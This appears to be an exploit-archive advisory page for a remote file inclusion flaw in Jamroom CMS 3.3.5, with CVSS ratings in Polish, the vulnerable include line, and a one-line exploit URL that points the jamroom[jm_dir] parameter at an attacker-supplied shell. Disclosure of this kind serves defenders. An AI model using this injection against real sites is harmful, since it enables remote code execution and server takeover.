Jamroom 3.3.5 RFI

2008-06-28 / 2008-06-29
Credit: Cyberlog
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-94


Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Scripts : CMS Jamroom Version: 3.3.5 Discovered By : Cyberlog Scripts site : http://www.jamroom.net/ Download Script : http://www.jamroom.net/index.php?m=td_download&o=download&file_id=43 Thanks To : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree Special To : k1n9k0ng, adhietslank, sukam, cah_gemblunkz, the_sims, aRiee letjen, k1tk4t, inouf and jayoes Site : www.sekuritionline.net +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ bug Script: require_once("{$jamroom['jm_dir']}/include/jamroom-payment.inc.php"); Bug Found: http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top